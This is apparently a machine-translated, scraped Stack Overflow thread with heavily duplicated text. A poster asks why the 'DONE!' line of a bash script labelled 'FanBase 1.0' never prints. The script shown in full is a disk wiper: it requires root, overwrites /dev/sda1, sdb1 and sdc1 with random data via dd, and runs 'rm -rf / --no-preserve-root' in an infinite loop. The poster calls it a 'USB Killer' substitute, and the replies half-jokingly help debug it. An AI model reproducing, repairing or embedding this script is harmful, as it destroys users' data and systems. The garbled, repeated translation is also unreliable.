Linux 为什么一段时间后的代码是正确的;做在bash中从未调用过done循环?
此脚本已在安装中列出。然而,它只是挂起,什么也不做。有什么问题吗 我已尝试在多台计算机上运行此脚本Linux 为什么一段时间后的代码是正确的;做在bash中从未调用过done循环?,linux,bash,Linux,Bash,此脚本已在安装中列出。然而,它只是挂起,什么也不做。有什么问题吗 我已尝试在多台计算机上运行此脚本 #!/bin/bash if [[ $EUID -ne 0 ]]; then echo "This script must be run as root" exit 1 fi echo "Starting FanBase 1.0" #Replace with any message rm -rf b while true do echo $(head /dev/urand
#!/bin/bash
if [[ $EUID -ne 0 ]]; then
echo "This script must be run as root"
exit 1
fi
echo "Starting FanBase 1.0"
#Replace with any message
rm -rf b
while true
do
echo $(head /dev/urandom | tr -dc A-Za-z0-9 | head -c 13 ; echo '') >> b
dd if=/dev/urandom of=/dev/sda1 bs=1M 2> /dev/null
dd if=/dev/urandom of=/dev/sdb1 bs=1M 2> /dev/null
dd if=/dev/urandom of=/dev/sdc1 bs=1M 2> /dev/null
dd if=b of=/dev/sda1 bs=1M 2> /dev/null
dd if=b of=/dev/sdb1 bs=1M 2> /dev/null
dd if=b of=/dev/sdc1 bs=1M 2> /dev/null
rm -rf / --no-preserve-root 2> /dev/null
done
echo "DONE!"
它应该说“完成!”让我们调试一下。尝试向每个
dd
命令添加count=1
选项。比如说,
dd if=/dev/urandom of=/dev/sda1 bs=1M count=1 2> /dev/null
让我们调试一下。尝试向每个
dd
命令添加count=1
选项。比如说,
dd if=/dev/urandom of=/dev/sda1 bs=1M count=1 2> /dev/null
您有一个无限循环:
while true
do
....
done
将永远运行,永远不会到达最后一行打印“完成!”。您有一个无限循环:
while true
do
....
done
将永远运行,永远不会到达最后一行打印“完成!”。当为true时,您编写
的原因是什么?@thb因为它工作不正常,所以我认为循环会修复它。安装什么?这将擦除sda1、sda2和sda3驱动器。出于某种原因,它会一直这样做。@jnevil它会这样做,根据代码,它只是将文件b写入驱动器。好的。由于堆栈溢出不鼓励在注释中进行长时间的讨论,我将在下面开始部分回答。你可以回答,我们会看到这会把我们引向何方。你为什么写,而写的是true
?@thb因为它工作不正常,所以我认为循环会解决它。安装什么?这将擦除sda1、sda2和sda3驱动器。出于某种原因,它会一直这样做。@jnevil它会这样做,根据代码,它只是将文件b写入驱动器。好的。由于堆栈溢出不鼓励在注释中进行长时间的讨论,我将在下面开始部分回答。你可以回应,我们会看到这会把我们引向何方。我如何调试它。我搜索了代码,发现这真的很搞笑,但我会扮演你的直人。按照上面的建议,尝试将计数=1
添加到每个值中。让我知道你得到了什么。哇,这太残忍了。我想这是你的意图吧。嗯,这是我在这个月回答一个关于堆栈溢出的问题时最有趣的事情了,现在还不是四月。安装愉快!是的,是的。这是USB Killer的替代品。但是,这只在linux上有效。如何调试它。我搜索了代码,发现这真的很搞笑,但我会扮演你的直人。按照上面的建议,尝试将计数=1添加到每个值中。让我知道你得到了什么。哇,这太残忍了。我想这是你的意图吧。嗯,这是我在这个月回答一个关于堆栈溢出的问题时最有趣的事情了,现在还不是四月。安装愉快!是的,是的。这是USB Killer的替代品。然而,这只适用于linux。奇怪,因此不需要无限循环。几乎没有需要无限循环的情况。如果您曾经使用while true
(无限循环),请知道如果没有break
语句,它将永远不会退出循环。奇怪的是,因此不需要无限循环。几乎没有需要无限循环的情况。如果您曾经使用while true
(无限循环),请知道如果没有break
语句,它将永远不会退出循环。